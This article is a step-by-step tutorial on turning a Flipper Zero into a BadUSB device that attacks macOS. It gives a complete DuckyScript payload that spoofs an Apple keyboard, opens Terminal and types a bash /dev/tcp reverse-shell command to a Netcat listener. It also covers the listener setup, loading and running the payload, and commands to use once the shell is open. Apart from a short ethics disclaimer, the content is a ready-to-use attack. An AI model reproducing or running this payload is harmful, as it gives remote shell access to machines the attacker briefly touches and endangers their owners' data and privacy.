visit
This article is an example of how to use the Flipper Zero as an Ethical Pentesting BadUSB device and how to avoid becoming a victim of such an exploit. Do not use this on computers that you do not own or have permission to use. This code does not make an effort to hide from Intrusion Detection Systems (IDS), Intrusion Prevention Systems (IPS), Network Detection Systems, Firewalls, or Anti-Virus (AV) software.
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
Command | Description |
---|---|
ID 05ac:021e Apple:Keyboard | This line tells the macOS our Flipper Zero is really an Apple Keyboard. If you do not use this line, the macOS displays the Keyboard Setup Assistant dialog which will cause your script to fail. |
DELAY | This command instructs the operating system to wait for a period of time. If we don’t use these delays, the script will run too fast and fail. |
GUI SPACE | Presses the Apple Command key and the Space bar to open the ‘Spotlight Search’ window. |
STRING Terminal | Enters the string ‘Terminal’ into the Spotlight Search window |
ENTER | Presses the ENTER or Return key on your keyboard. After pressing the ENTER key, the macOS launches the Terminal window (/Applications/Utilities/Terminal) |
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | This command enters the text into the terminal window which establishes a connection to the Netcat server listening at 10.10.10.157 on Port 4444 |
Change the IP address at 10.10.10.157 and Port 4444 to your server’s IP address and port.
Save this file to your disk as rev_shell_macos.txt. There is no subdirectory organization under the badusb directory on the Flipper Zero so if you are using multiple payloads for different operating systems, use a naming convention that means something to you so you know what it does.
Select and double-click the SD Card icon to view the contents.
Locate and drag the rev_shell_macos.txt file we created earlier onto the badusb folder.
$ nc -nlvp 4444
Command | Description |
---|---|
nc | Netcat command |
-nlvp |
(n) no DNS resolution, (l) listen for incoming connection, (v) verbose output, (p) port |
4444 | Port number to listen on |
Now that our Netcat listener is ready and waiting for an incoming connection, we can proceed with the Flipper Zero BadUSB attack.
The hard part is done. The Flipper Zero BadUSB reverse_shell_macos.txt file is written, moved to the Flipper Zero, and the Netcat listener is waiting for a connection.
Navigate to the DuckyScript file we copied in the previous step. If you don’t see this file then you copied it to the wrong directory or did not use the .txt filename extension. Select rev_shell_macos and click the Run button.
When you see the Connect to USB alert, you can connect your Flipper Zero to your iMac or MacBook’s USB port. Click the Run button.
You can watch the progress of your BadUSB script in the main window. Once the status reaches 100% the payload is complete and you can remove the Flipper Zero.
If you are watching the iMac’s computer’s monitor you can see the exploit as it executes the DuckyScript. The Netcat listener on our Ubuntu server displays the results of the successful request.
You can use regular Linux commands like whoami, pwd, ls, or cd to navigate the filesystem and manipulate the operating system.